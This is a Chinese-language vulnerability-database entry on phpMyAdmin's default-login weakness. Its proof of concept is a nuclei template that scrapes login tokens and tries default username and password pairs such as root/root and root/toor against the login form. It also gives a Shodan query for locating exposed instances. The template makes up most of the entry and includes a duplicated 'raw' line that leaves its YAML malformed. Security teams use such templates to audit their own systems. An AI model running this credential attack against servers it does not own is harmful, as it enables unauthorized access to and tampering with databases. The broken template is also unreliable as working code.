phpMyAdmin 默认登录漏洞

漏洞信息

漏洞名称： phpMyAdmin 默认登录漏洞

漏洞类型： 弱口令

漏洞等级： 高危

漏洞描述： phpMyAdmin是一个广泛使用的开源数据库管理工具，主要用于通过Web界面管理MySQL数据库。它被广泛部署在各种环境中，包括个人网站、企业级服务等，因其易用性和功能强大而受到欢迎。该工具默认安装后可能存在默认登录凭证的问题，攻击者可以利用这些默认凭证未经授权访问数据库管理系统。该漏洞属于弱口令类型，其技术根源在于系统或应用默认配置中使用了容易被猜测或已知的默认用户名和密码组合。攻击者通过尝试这些默认凭证，可以成功登录系统，进而访问敏感信息、修改数据或执行未授权操作。这种漏洞的危害性较高，因为它不需要复杂的攻击技术，且一旦成功利用，攻击者可以完全控制受影响的数据库系统，导致数据泄露、数据篡改甚至服务中断等严重后果。由于phpMyAdmin的广泛使用，该漏洞的影响范围较大，特别是在那些未更改默认配置或未及时更新补丁的环境中。

产品厂商： phpmyadmin

产品名称： phpMyAdmin

影响版本： *

搜索语法： http.title:phpMyAdmin

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fdefault-logins%2Fphpmyadmin%2Fphpmyadmin-default-login.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: phpmyadmin-default-login

info:
  name: phpMyAdmin - Default Login
  author: Natto97,notwhy
  severity: high
  description: phpMyAdmin contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.phpmyadmin.net
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 17
    shodan-query: http.title:phpMyAdmin
    product: phpmyadmin
    vendor: phpmyadmin
  tags: default-login,phpmyadmin

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "phpMyAdmin"
          - "phpmyadmin"
        condition: or
        internal: true

  - raw:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: phpMyAdmin={{token2}}; pma_lang=en

        set_session={{session}}&pma_username={{user}}&pma_password={{password}}&server=1&route=%2F&token={{token}}

    attack: clusterbomb
    payloads:
      user:
        - root
        - mysql
      password:
        - 123456
        - root
        - mysql
        - toor

    extractors:
      - type: regex
        name: token
        internal: true
        group: 1
        regex:
          - 'name="token" value="([0-9a-z]+)"'

      - type: regex
        name: token2
        internal: true
        group: 1
        regex:
          - 'name="set_session" value="([0-9a-z]+)"'

      - type: regex
        name: session
        part: header
        internal: true
        group: 2
        regex:
          - "phpMyAdmin(_https)?=([0-9a-z]+)" # for HTTPS
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_2, "phpMyAdmin=") && contains(header_2, "pmaUser-1=")
          - status_code_2 == 302
          - contains(header_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(header_2, '/index.php?route=/&route=%2F')
        condition: and
# digest: 4a0a004730450220297bb236d1de47a3db734d57bf02a7fa5c4452f05c70e21842033d1e21b8ae22022100e26c1fd9c6d5f2e9af3eae331b8e797a64e1f8078a50c36ed1342219fd95fa47:922c64590222798bb761d5b6d8e72950